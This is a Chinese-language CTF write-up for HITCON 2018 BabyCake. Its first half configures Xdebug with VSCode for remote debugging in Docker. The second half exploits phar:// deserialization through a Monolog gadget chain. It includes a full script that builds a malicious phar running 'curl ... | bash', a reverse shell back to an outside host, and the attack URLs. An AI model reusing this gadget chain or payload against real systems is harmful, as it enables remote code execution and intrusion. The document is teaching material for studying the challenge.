HITCON 2018 BabyCake WriteUp && XDebug + VSCode遠端除錯
哦,終於把這道題目搞定了,寫一下我的復現過程,主要是配了一下Xdebug的環境,因為手抖耽誤了很多時間。
先貼一下docker:
docker pull gaoxijiejie/babycake:version
下載好之後執行指令為:
docker run -id --name cake-xdebug -p 8080:80 -p 9009:9009 cake-xdebug /bin/bash
(xdebug
使用的埠是9009)
這個docker
配了XDebug
,首先貼一下配置過程。
(我是在虛擬機器的docker
裡跑的babycake
的服務,除錯在物理機的vscode
)
-
安裝
Xdebug
:apt-get install php-xdebug
xdebug.so
的路徑 -
開啟
/etc/php/7.0/apache2/php.ini
,在最後新增如下內容:zend_extension = /*xdebug.so的路徑*/ [XDebug] xdebug.remote_enable = on xdebug.remote_autostart = 1 xdebug.remote_host = 192.168.101.1 //物理機的ip xdebug.remote_port = 9009 // xdebug.auto_trace = 1 xdebug.idekey = XDEBUG_VSCODE //這個好像沒用到 xdebug.remote_handler = dbgp //好像沒用到 xdebug.remote_log = /tmp/xdebug.log //日誌檔案
-
重啟
apache2
:service apache2 restart
-
接下來就是配置
vscode
,修改launch.json
除錯配置檔案
``` { // 使用 IntelliSense 瞭解相關屬性。 // 懸停以檢視現有屬性的描述。 // 欲瞭解更多資訊,請訪問: https://go.microsoft.com/fwlink/?linkid=830387 "version": "0.2.0", "configurations": [ { "name": "Listen for XDebug", "type": "php", "request": "launch", "stopOnEntry":true, "pathMappings": {"/var/www/html/": "${workspaceRoot}"}, "port": 9009 //與php.ini對應 }, { "name": "Launch currently open script", "type": "php", "request": "launch", "program": "${file}", "cwd": "${fileDirname}", "pathMappings": {"/var/www/html/": "${workspaceRoot}"}, "port": 9009 } ] } ```
之後在vscode
中點選除錯按鈕,在瀏覽器中重新整理頁面,就可以捕捉到斷點啦。
如果一直出問題,不能正常除錯到話,可以看一下xdebug.log
裡到報錯資訊。
環境搭建到過程還是很簡單的。vscode
中要下載的php-debug
外掛,我在之前的文章裡有寫過,就不重複裡。
接下來就是解題過程啦。
說一下整體思路:
伺服器收到請求之後,會看一下這個url
有沒有被請求過,如果沒有,那就請求這個url
,並把返回的head
和 body
寫到cache
裡;如果有,那就去cache
檔案裡,把頁面內容讀出來返回給客戶端。
出問題的地方在:當是post
方法的時候,會判斷post
的data
值,如果data
的第一個字元是@
,最終會呼叫file_get_contents
函式去請求data
路徑。
然後利用phar://
偽協議在解壓檔案時存在反序列化的過程,加上Monolog
存在的反序列化RCE
漏洞,從而getshell
。
gen.php
<?php
namespace Monolog\Handler
{
class SyslogUdpHandler
{
protected $socket;
function __construct($x)
{
$this->socket = $x;
}
}
class BufferHandler
{
protected $handler;
protected $bufferSize = -1;
protected $buffer;
# ($record['level'] < $this->level) == false
protected $level = null;
protected $initialized = true;
# ($this->bufferLimit > 0 && $this->bufferSize === $this->bufferLimit) == false
protected $bufferLimit = -1;
protected $processors;
function __construct($methods, $command)
{
$this->processors = $methods;
$this->buffer = [$command];
$this->handler = clone $this;
}
}
}
namespace{
$cmd = "curl http://192.168.101.128/ |bash";
//http://192.168.101.128的內容是bash -i >& /dev/tcp/192.168.101.1/1234 0>&1
//128是虛擬機器ip,1是物理機ip
$obj = new \Monolog\Handler\SyslogUdpHandler(
new \Monolog\Handler\BufferHandler(
['current', 'system'],
[$cmd, 'level' => null]
)
);
$phar = new Phar('exploit.phar');
$phar->startBuffering();
$phar->addFromString('test', 'test');
$phar->setStub('<?php __HALT_COMPILER(); ? >');
$phar->setMetadata($obj);
$phar->stopBuffering();
}
上述指令碼為生成惡意檔案的指令碼,該惡意檔案在被phar://
偽協議解析時,存在反序列化操作,出發Monolog
的RCE
。
依次訪問:
http://192.168.101.128:8080/?url=http://x.x.x.x/exploit.phar
http://192.168.101.128:8080/?url=http://x.x.x.x/index.html&data[x][email protected]:///var/www/html/tmp/cache/mycache/192.168.101.1/90c2a3a6fc4d596265b8707463dcbfc9/body.cache
即反彈shell
成功,body.cache
的路徑根據原始碼可以自己猜測到。
出問題的addFile
函式:
FormData.php
public function addFile($name, $value)
{
$this->_hasFile = true;
$filename = false;
$contentType = 'application/octet-stream';
if (is_resource($value)) {
$content = stream_get_contents($value);
if (stream_is_local($value)) {
$finfo = new finfo(FILEINFO_MIME);
$metadata = stream_get_meta_data($value);
$contentType = $finfo->file($metadata['uri']);
$filename = basename($metadata['uri']);
}
} else {
$finfo = new finfo(FILEINFO_MIME);
$value = substr($value, 1);
$filename = basename($value);
$content = file_get_contents($value);
$contentType = $finfo->file($value);
}
$part = $this->newPart($name, $content);
$part->type($contentType);
if ($filename) {
$part->filename($filename);
}
$this->add($part);
return $part;
}